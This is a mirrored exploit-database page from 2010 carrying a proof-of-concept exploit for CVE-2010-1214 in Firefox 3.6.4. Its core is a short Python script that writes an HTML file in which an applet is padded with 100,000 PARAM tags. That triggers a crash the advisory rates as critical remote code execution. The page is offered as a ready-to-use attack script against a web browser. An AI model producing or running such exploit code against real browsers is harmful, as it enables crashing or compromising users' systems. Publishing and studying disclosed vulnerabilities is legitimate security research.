Home / os / win7

[dos / poc] - Firefox Plugin Parameter EnsureCachedAttrParam

Posted on 17 September 2010

<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Strict//EN' 'http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd'><html xmlns='http://www.w3.org/1999/xhtml'><head><meta http-equiv='Content-Type' content='text/html; charset=utf-8' /><meta http-equiv='Content-Language' content='en' /><title>Firefox Plugin Parameter EnsureCachedAttrParamArrays Code Execution | Inj3ct0r - exploit database : vulnerability : 0day : shellcode</title><meta name='description' content='Exploit category: dos / poc | Exploit author: Abysssec' /><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon' /><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss' /><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></head><body><pre>===================================================================
Firefox Plugin Parameter EnsureCachedAttrParamArrays Code Execution
===================================================================

  Title              :  Firefox Plugin Parameter EnsureCachedAttrParamArrays Remote Code Execution
  Version            :  Firefox 3.6.4
  Analysis           :  http://www.abysssec.com
  Vendor             :  http://www.mozilla.com
  Impact             :  Critical
  Contact            :  shahin [at] abysssec.com , info  [at] abysssec.com
  Twitter            :  @abysssec
  CVE                :  CVE-2010-1214
   
&#039;&#039;&#039;
 
import sys;
 
myStyle = &quot;&quot;&quot;
&lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Strict//EN&quot;
&quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd&quot;&gt;
&lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&gt;
&lt;head&gt;
&lt;title&gt;page demonstration&lt;/title&gt;
&lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;style2.css&quot; /&gt;
 
 
&lt;/head&gt;
&lt;body id=&#039;msg&#039;&gt;
 
 
    &lt;applet code = &#039;appletComponentArch.DynamicTreeApplet&#039;   archive = &#039;DynamicTreeDemo.jar&#039;, width = 300, height = 300 &gt;
 
&quot;&quot;&quot;
i=0
while(i&lt;100000):
    myStyle = myStyle + &quot;&lt;PARAM name=&#039;snd&#039; value=&#039;Hello.au|Welcome.au&#039;&gt;
&quot;;
    i=i+1
 
myStyle = myStyle + &quot;&quot;&quot;
    &lt;/applet&gt;
 
&lt;/body&gt;
&lt;/html&gt;
&quot;&quot;&quot;
cssFile = open(&quot;Abysssec.html&quot;,&quot;w&quot;)
cssFile.write(myStyle)
cssFile.close()


# <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-09-17]</pre></body></html>

 

TOP

Malware :

Exploits :